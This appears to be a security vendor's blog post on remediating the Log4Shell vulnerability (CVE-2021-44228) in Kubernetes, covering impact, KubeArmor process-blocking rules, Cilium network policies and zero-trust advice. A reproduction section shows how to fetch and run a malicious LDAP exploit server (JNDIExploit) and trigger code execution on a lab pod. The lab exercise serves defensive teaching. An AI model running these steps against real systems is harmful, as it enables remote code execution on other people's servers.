Log4J – CVE-2021-44228 remediation policy for K8s clusters

Introduction

On December 9th, 2021, the world was made aware of a new vulnerability identified as CVE-2021-44228, affecting the Apache Java logging package log4j. This vulnerability earned a severityscore of 10.0 (the most critical designation) and offers trivial remote code execution on hosts engaging with software that utilizes this log4j version.

Today, log4j version 2.15.0rc2 is available and patches this vulnerability. However, the sheer danger of this vulnerability is due to how ubiquitous the logging package is. Millions of applications as well as software providers use this package as a dependency in their own code.

Earliest detection known: 2021-12-01 04:36:50 UTC

Affected Versions:

• Log4j <= 2.14.1
• Apache: 2.0 <= Apache log4j <= 2.14.1

Who is affected?

Impact: Arbitrary code execution as the user the parent process is running as (code fetched from the public Internet, or lolbins already present on system, or just fetching shared secrets or environment variables and returning them to the attacker).

Targets: Servers and clients that run Java and also log anything using the log4j framework – primarily a server-side concern, but any vulnerable endpoint could be a target or a pivot point.

Downstream projects: Until proven otherwise, assume anything that includes log4j – including Elasticsearch, Apache Struts / Solr / Druid / Flink, etc. – is affected in a way that requires mitigation.

Affected versions: log4j 2.x confirmed – log4j 1.x only indirectly (previous information disclosure vulns) (in some configurations)

Appliances: Don’t forget appliances that may be using Java server components, but won’t be detected by unauthenticated vulnerability scanning

Log forwarding: Logging infrastructure often has many “northbound” (send my logs to someone) and “southbound” (receiving logs from someone) forwarding/relaying topologies. Chaining them together for exploitation must also be considered.

Cloud: Multiple large providers also affected (A community-curated list of software and services vulnerable to CVE-2021-44228 can be found in this GitHub repo.

Reproducing the problem in k8s env

Setting up k8s env with the vulnerability

Step #1: Deploying pod with associated services vulnerable to Log4j in Kubernetes

git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve kubectl apply -f deploy-log4j-k8s.yaml

• To check the deployment is running and to get external IP type the following command:
  kubectl get po,svc
• You should be able to see the output like this

Kindly note we’ve deployed vulnerable Log4Shell sample application in default namespace.

Step #2:Downloading malicious LDAP server

wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar

Step #3: Starting LDAP Server for incoming traffic on your PC or Cloud VM

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888

Private IP can be queried using hostname -I.

Make sure your firewall allows traffic for ports 1389 8888

Step #4: Exploiting using cURL command

Here, 1st IP used is our k8s external IP (Step #1) where the vulnerable sample app is running. 2nd IP used is the external IP of the malicious LDAP server (Step #2)

Step #5: Confirmation via checking creation of file /tmp/pwned

kubectl exec -it –namespace default log4j-demo-5d7c84d8b9-vs8ck — watch -n 2 ls /tmp

Replace log4j-demo-5d7c84d8b9-vs8ck with your pod from output of Step #1.You should be able to see a file created as pwnedinside/tmp directory.

Possible Solutions

KubeArmor Security Policy

KubeArmor is a Runtime Security Platform that can help Security/DevSecOps teams to protect their workloads using application/systems based controls (such as limiting Process Spawning, limiting File System access, limiting pods capabilities etc). KubeArmor has a visibility mode using which the application/security team can enable visibility thereby figuring out what is happening inside the pods i.e., what processes are spawned, what file acesses are attempted etc. The biggest advantage about KubeArmor is that as a user you can also submit policies that can prevent/block/deny such systems operations.

Typically an attacker infiltrates with the intent to either exfiltrate the internal data or for cryptomining or to simply wreck havoc in the internal apps with the intent to make it unavailable. In all these cases, the attacker needs to execute an arbitrary program that can fulfill its malicious intent. Log4j vulnerability allows the attacker to place a binary within the internal network. However, guardrails can be placed so as not to allow the JVM to spawn processes.

Not allowing any execs from the JVM/Java

Following is a KubeArmor that can deny/prevent any processes from been forked in the pod as a child process of Java application.

Note that the action is Block here. Also note the fromSource condition that says that only the execs from the given process should be disallowed. Essentially, only the child processes of Java/JVM be denied an exec. Unlike other tooling, KubeArmor has the ability to Block the system’s operation at runtime.

Default Deny based rules

In lot of cases, there could be certain existing processes that still needs to be spawned by the Java/JVM. In such cases, it is best to Allow such processes. By allowing these processes, KubeArmor by default denies executing of all other processes as part of that parent process:

In this example, the myapp and log4j processes are still allowed to be spawned by the Java process but the rest all processes are denied.

KubeArmor Visibility/Observability into the pods

Looking at the above policies, one naturally will think, how am I going to get the process spec to allow/deny. This is where KubeArmor’s visibility mode comes into play:

Blocking any processes spawned from JVM/Java process results in following alert while the execve is denied (Note that KubeArmor is an enforcement engine):

Cilium Network Policy

Cilium team has already come up with their analysis for preventing exploits for log4j in k8s env using network policies. Essentially, the prevention policies aims at ensuring that the least permissive policies for DNS are applied such that anything outside of that realm is forbidden.

One challenge for a security team in this context could be to figure out all the possible FQDNs connected to by the pods. Cilium provides rich network visibility using which one can possibly come up with the exhaustive set of FQDNs accessed by the pods.

In addition to those policies there are few other preventive policies that could be undertaken.

Restricting access to RMI and LDAP ports

RMI is functionality least utilized by most of the organizations. In case of log4j, the RMI is enabled by default and most organization might not care if it is disabled altogether. So if your organization is not actively using that feature, the best is to disable it altogether. Following Cilium policy could be put to use for blocking both RMI and LDAP  ports.

Open source policy repo to blog Log4J

Given below is the link for the policy repo for blocking Log4J vulnerability with KubeArmor and Cilium.

Preventing future Zero-Days

The kind of rules depicted above are easy to be envisaged in hindsight.

The obvious next question is how to prevent possibility of misuse of such vulnerabilities in the future.

Arbitrary Code Execution is a major attack mode and one has to focus on defining what makes the code “arbitrary”. Arbitrary in the context could be defined as anything that is not in the usual execution context.

Using Zero-trust (ZTNA) architecture requires one to specify a least-permissive policy set that only allows whitelisted actions and deny everything else. Thus, having a Zero-Trust posture could effectively guard an organization from the possibilities of such attacks.

However, achieving Zero-Trust in practice is much more challenging. Zero-trust requires that an organization have appropriate automation, software deployment processes coupled with the right tools. Few points to ponder over could be:

• Having flexible policy enforcement engines is not good enough. How to achieve a least permissive policy set that goes with those policy engines?
• If a developer makes changes to the app, do you have an automated process to inculcate new rules that might have changed due to app changes?
• Does the org have a flexible EDR/XDR that allows the DevSecOps and Security teams to focus on right events?
  

  How could a Zero Trust posture prevent misuse of log4j vulnerability?

  A Zero-Trust posture across network and applications/systems could be defined as follows:

  1. Only allow ingress/egress connections the application is supposed to make/handle.
  2. Only allow the process execs that are in the allowed list.
  3. Only allow file-system path accesses that the application needs.
  4. Only allow the system capabilities that are required for application’s normal needs.
  5. Achieving this posture is easier said than done.

  KubeArmor and Zero Trust

  KubeArmor provides a flexible policy enforcement engines coupled with the right policy discovery/recommendations tools that precisely help an organization answer the above questions. Accuknox has built the policy engines with basic design tenets in mind i.e., every policy engine must support observability, auditing (dry-run), and enforcement options.

Observability coupled with policy discovery engine can provide an organization with the least-permissive policy settings required.

If you want to try the policy-discovery engine on your k8s cluster with your workloads, please follow the playbook here.

Now you can protect your workloads in minutes using AccuKnox, it is available to protect your Kubernetes and other cloud workloads using Kernel Native Primitives such as AppArmor, SELinux, and eBPF.

Let us know if you are seeking additional guidance in planning your cloud security program.